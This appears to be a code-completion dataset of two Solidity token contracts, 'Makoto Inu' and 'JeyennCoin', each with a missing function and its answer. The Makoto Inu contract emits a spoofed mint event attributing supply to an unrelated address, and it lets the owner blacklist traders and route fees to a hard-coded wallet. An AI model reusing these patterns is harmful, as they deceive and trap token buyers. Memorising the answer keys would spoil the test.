contract MakotoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Makoto Inu"; string private constant _symbol = "MAINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _feeAddrWallet2 = payable(0x7AB9af6c22Ce122443dF4673c7dff2dd673FC1b2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } <FILL_FUNCTION> function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) private
function _approve(address owner, address spender, uint256 amount) private
10679
JNN
approve
contract JNN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function JNN() public { symbol = "JNN"; name = "JeyennCoin"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D] = _totalSupply; Transfer(address(0), 0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract JNN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function JNN() public { symbol = "JNN"; name = "JeyennCoin"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D] = _totalSupply; Transfer(address(0), 0xebcdCc611A9aeE7fF3B77ccbe4b9E1170790358D, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true;
function approve(address spender, uint tokens) public returns (bool success)
function approve(address spender, uint tokens) public returns (bool success)